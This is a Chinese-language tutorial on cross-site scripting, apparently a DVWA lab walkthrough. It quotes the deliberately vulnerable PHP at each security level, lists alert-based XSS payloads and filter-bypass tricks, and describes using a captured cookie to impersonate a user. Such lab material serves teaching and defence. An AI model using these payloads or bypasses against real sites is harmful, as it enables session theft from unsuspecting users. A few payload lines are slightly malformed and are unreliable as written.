XSS 概念:
由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS类型:
Reflected(反射型):只是简单的把用户输入的数据反射给浏览器,需要诱导用户点击一个恶意链接才能攻击成功。
存储型:将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本
DOM型:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,取决于输出地点
(关于DOM节点,DOM为Document Obeject Mode首字母缩写,翻译为文档对象模型,在网页中所有对象和内容都被称为节点,如文档、元素、文本、属性、注释等,节点是DOM最基本的单元
并派生出不同类型的节点,他们共同构成了文档的树形结构模式)
XSS应用场景:1.利用xss获得cookie,2.重定向,3.钓鱼网站,4.DDOS
记录一些一般的payload:(这里看不懂可以先看下面的示例,看完返回来看这里就会明白一些了)
1.<script>alert(document.cookie)</script>
2.<body onload=alert(document.cookie')>
3.<a href='' onclick=alert(document.cookie)>click1</a> #点击click1时弹出cookie值
4.<img src=http://192.168.10.128/a.jpg onerror=alert(document.cookie)> #src地址错误,然后执行onerror的内容
Low级别:
观察源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
源码没有对参数做任何防御处理措施
下面给一些基本的XSS攻击
1.<script>alert(‘xss’)</script>
2.<body onload=alert('xss2')>
3.<a href='' onclick=alert('xss3')>click1</a> #点击click1时弹出xss3
4.<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src地址错误,然后执行onerror的内容
例如我们这里输入:
<script>alert("xss")</script>
构造获取cookie的payload:
<script>alert(document.cookie)</script>
然后Logout 用这段cookie值进行登录即可以被攻击者的身份访问此网站(在未关闭浏览器前)
Medium
观察源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
对于script标签进行了过滤,下面提供几个绕过的方法
1.<sCriPt></SCriPt>大小写分开
2.<scr<script>ipt> 类似于SQL注入中的双写
3.用别的标签替换 :
同样也可以获得cookie 之后就可以通过cookie以被攻击者的身份访问此网站
High
观察源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
分析源码,可以看到,使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
执行:<body onload=alert('document.cookie')>
Impossible
观察源码:
使用了htmlspecailchars函数做了html实体转义,无法利用XSS